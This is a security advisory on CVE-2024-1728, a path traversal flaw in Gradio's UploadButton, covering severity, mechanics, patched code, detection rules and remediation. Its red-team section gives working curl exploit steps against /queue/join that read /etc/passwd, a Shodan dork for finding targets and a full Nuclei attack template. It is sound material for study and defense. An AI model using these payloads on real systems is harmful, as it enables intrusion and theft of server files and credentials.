CVE-2024-1728

Executive Summary

CVE-2024-1728 is a high-severity path traversal vulnerability in the Gradio web application framework (gradio-app/gradio). The vulnerability resides in the UploadButton component, where improper validation of user-supplied file paths allows an unauthenticated attacker to read arbitrary files from the server's filesystem. By crafting a malicious request to the /queue/join endpoint, an attacker can manipulate the file upload path to point to sensitive files such as /etc/passwd or private SSH keys. This can lead to information disclosure and potentially remote code execution if sensitive credentials or configuration files are exposed. The vulnerability affects all versions prior to 4.19.2.

Supply Chain & Package Security

Gradio is a popular open-source Python library used for building machine learning web demos. It is distributed via PyPI. Organizations using Gradio in their applications or as part of their ML infrastructure should immediately audit their dependency versions. The vulnerability is introduced through the core library code, not a third-party dependency, making it a direct supply chain risk. Ensure that any container images, virtual environments, or deployment scripts pin Gradio to version 4.19.2 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Arbitrary file read can expose sensitive data.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the file upload handling logic. The Gradio application exposes a /queue/join endpoint that processes file uploads. The UploadButton component accepts a file path from the client, which is then used to read the file from the server's filesystem. The application fails to sanitize or validate the provided path, allowing an attacker to supply absolute paths (e.g., /etc/passwd) or traversal sequences (e.g., ../../../etc/passwd).

The attack flow:

1. The attacker sends a POST request to /queue/join with a JSON payload containing a data array. The first element includes a path field set to the target file (e.g., /etc/passwd).
2. The server processes the request and stores the file path in a temporary location (e.g., /tmp/gradio/<hash>/passwd).
3. The attacker then queries the /queue/data endpoint to retrieve the session hash and the temporary file path.
4. Using the extracted temporary path, the attacker sends a GET request to /file=<temp_path> to retrieve the file contents.

The vulnerability is exacerbated by the fact that the path field is user-controlled and the server does not restrict the file read to a specific upload directory. This allows reading any file the server process has access to.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.19.2): The vulnerable code likely resides in the file upload handling logic, where the user-supplied path is used directly without validation. A simplified example:

# Vulnerable: No path validation
def handle_upload(file_path):
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (4.19.2): The patch introduces path sanitization to ensure that only files within a designated upload directory can be accessed. The fix likely uses os.path.abspath and checks that the resolved path starts with the allowed base directory.

# Patched: Path validation
import os

ALLOWED_UPLOAD_DIR = "/tmp/gradio/uploads"

def handle_upload(file_path):
    abs_path = os.path.abspath(file_path)
    if not abs_path.startswith(ALLOWED_UPLOAD_DIR):
        raise PermissionError("Access denied")
    with open(abs_path, 'r') as f:
        return f.read()

The exact commit (16fbe9cd0cffa9f2a824a0165beb43446114eec7) should be reviewed for the precise implementation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Gradio instance (version < 4.19.2) running on a target host.
• Network access to the /queue/join endpoint.

Exploitation Steps:

1. Identify a target Gradio application. Use Shodan with the dork html:"__gradio_mode__" to find instances.
2. Send a crafted POST request to /queue/join to trigger the file read. The following example reads /etc/passwd:

curl -X POST http://target:7860/queue/join \
  -H "Content-Type: application/json" \
  -d '{"data":[{"path":"/etc/passwd","url":"http://target:7860/file=/help","orig_name":"CHANGELOG.md","size":3549,"mime_type":"text/markdown"}],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"test123"}'

3. Retrieve the session hash and temporary file path by querying /queue/data:

curl "http://target:7860/queue/data?session_hash=test123"

4. Extract the temporary path from the response (e.g., /tmp/gradio/abc123/passwd).
5. Download the file:

curl "http://target:7860/file=/tmp/gradio/abc123/passwd"

Automated Exploitation with Nuclei: The provided Nuclei template automates the entire process. Run it with:

nuclei -t CVE-2024-1728.yaml -u http://target:7860

Blue Team

Detection:

• Monitor for POST requests to /queue/join with unusual path values (e.g., /etc/passwd, /windows/win.ini, or paths containing ../).
• Alert on GET requests to /file= followed by paths outside the expected upload directory (e.g., /tmp/gradio/).
• Look for multiple rapid requests to /queue/join and /queue/data from the same IP.

Hunting:

• Search web server logs for patterns like POST /queue/join with JSON bodies containing "path":"/etc/.
• Correlate with subsequent GET requests to /file=/tmp/gradio/.

Mitigation:

• Immediately upgrade to Gradio 4.19.2 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with path traversal patterns in the /queue/join endpoint.
• Restrict file system permissions so the Gradio process can only read necessary directories.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /queue/join with JSON containing "path":"/etc/passwd" or similar sensitive paths.
  • GET requests to /file=/tmp/gradio/<hash>/<sensitive_filename>.
  • Repeated requests to /queue/data with the same session_hash.

• File System IOCs:

  • Unexpected files in /tmp/gradio/ directory that match sensitive system files (e.g., passwd, shadow, ssh).
  • Presence of files like /tmp/gradio/*/passwd or /tmp/gradio/*/win.ini.

• Log IOCs:

  • Web server logs showing 200 responses to /file= requests for paths outside the application's intended upload directory.

Detection Engineering

YARA Rule

rule CVE_2024_1728_Gradio_Path_Traversal {
    meta:
        description = "Detects Gradio path traversal attempts in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1728"
        severity = "high"
    strings:
        $json_path = /"path"\s*:\s*"\/etc\// nocase
        $json_path2 = /"path"\s*:\s*"C:\\/ nocase
        $json_path3 = /"path"\s*:\s*"\.\.\// nocase
        $url_file = "/file=/tmp/gradio/" nocase
    condition:
        any of ($json_path*) or $url_file
}

Sigma Rule

title: Gradio Path Traversal Attempt (CVE-2024-1728)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-1728 by monitoring for path traversal patterns in Gradio HTTP requests.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1728
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/queue/join'
        cs-body|contains: 
            - '/etc/'
            - 'C:\\'
            - '../'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1728 Gradio Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/queue/join"; http_uri; content:"\"path\":\"/etc/"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-1728

info:
  name: Gradio > 4.19.1 UploadButton - Path Traversal
  author: isacaya
  severity: high
  description: |
    gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.
  impact: |
    Attackers can exploit this vulnerability to read arbitrary files on the filesystem, such as private SSH keys, by manipulating the file path in the request to the `/queue/join` endpoint. This issue could potentially lead to remote code execution. The vulnerability is present in the handling of file upload paths, allowing attackers to redirect file uploads to unintended locations on the server.
  remediation: |
    Update to version 4.19.2.
  reference:
    - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7
    - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1728
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1728
    cwe-id: CWE-22
    epss-score: 0.86511
    epss-percentile: 0.99419
  metadata:
    max-request: 5
    verified: true
    vendor: gradio
    product: gradio
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,lfi,gradio,intrusive,vuln

http:
  - raw:
      - |
        POST /queue/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"data":[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549,"mime_type":"text/markdown"}],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"}
      - |
        GET /queue/data?session_hash={{randstr}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /file={{extracted_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: extracted_path
        regex:
          - "/tmp/gradio/[^/]+/passwd"
          - "C:.*\\win\\.ini"
        internal: true

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[^:]:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade Gradio: Update to version 4.19.2 or later. This is the only complete fix.
2. Apply WAF Rules: Block requests to /queue/join containing path traversal patterns (e.g., /etc/, ../, C:\\).
3. Restrict File Permissions: Run the Gradio process with minimal privileges, ensuring it cannot read sensitive files like /etc/shadow or SSH keys.

Long-Term Measures:

• Implement input validation for all user-supplied file paths. Use allowlists for allowed directories.
• Conduct regular security audits of open-source dependencies.
• Monitor for similar vulnerabilities in the Gradio codebase.

Valters IT Signature

This report was generated by Valters IT DevSecOps. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: DCCCCFBB720C9708513D3BC7] */}